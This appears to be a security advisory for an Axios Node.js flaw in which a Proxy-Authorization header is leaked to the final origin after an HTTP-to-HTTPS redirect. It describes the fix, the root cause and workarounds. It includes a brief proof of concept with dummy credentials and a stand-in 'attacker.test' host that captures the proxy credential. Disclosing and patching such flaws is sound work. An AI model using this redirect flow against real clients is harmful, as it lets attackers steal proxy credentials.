Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter

The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NO_PROXY, different proxy targets, casing variants, and an end-to-end redirect flow.

The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.

Proof of Concept of Attack

Safe local outline using dummy credentials:

process.env.HTTP_PROXY = 'http://user:[email protected]:8080';
delete process.env.HTTPS_PROXY;

// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');

Expected vulnerable behaviour:

Proxy receives initial request:
Proxy-Authorization: Basic dXNlcjpwYXNz

Final HTTPS origin receives redirected request:
Proxy-Authorization: Basic dXNlcjpwYXNz

Expected fixed behaviour:

Final HTTPS origin receives no Proxy-Authorization header.

Workarounds

Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.

Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

Summary

Axios’s Node.js http adapter can incorrectly forward a retained Proxy-Authorization header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.

When an initial HTTP request is sent through an authenticated HTTP_PROXY, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale Proxy-Authorization header and forwards it to the final origin.

Details

The issue occurs during a proxy-to-direct transition across redirects.

When Axios sends an initial HTTP request through an authenticated HTTP_PROXY, it correctly includes Proxy-Authorization for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.

In the affected flow, the final HTTPS origin receives a Proxy-Authorization header value that was intended only for the outbound proxy.

Whether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent.

Root Cause Analysis

Based on code review, Axios appears to create the stale header condition in its Node.js http adapter.

In lib/adapters/http.js:

• When a proxy is used, Axios adds Proxy-Authorization in setProxy().
• Axios also re-runs proxy resolution after redirects via its redirect hook.
• However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.

As a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.

A dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.

Client Conditions

• the initial HTTP request uses an authenticated HTTP_PROXY
• no proxy applies to the redirected HTTPS URL (for example, no HTTPS_PROXY is configured)
• redirects are followed
• the redirect is treated as same-host by the redirect layer

Under that redirect shape, the retained Proxy-Authorization header is not removed before the redirected request is sent to the final HTTPS origin.

Reproduction Outline

Detailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.

The issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.

The issue was confirmed under the following conditions:

• axios 1.13.6
• follow-redirects 1.15.11
• an authenticated proxy applying to the initial HTTP request
• no proxy applying to the redirected HTTPS URL
• redirects enabled
• an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer

Observed behavior

• The initial HTTP request is sent through the proxy and includes Proxy-Authorization.
• The redirected HTTPS request is sent directly to the final origin.
• The redirected HTTPS request still includes the previously generated Proxy-Authorization header.
• The final origin can receive a Proxy-Authorization header value that was intended only for the proxy.

Expected behavior

Axios should not send the Proxy-Authorization header on a redirected request that is no longer sent through a proxy.

Impact

Under the affected redirect and proxy configuration, the final HTTPS origin may receive a retained Proxy-Authorization header value that was intended only for the outbound proxy.

If that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls.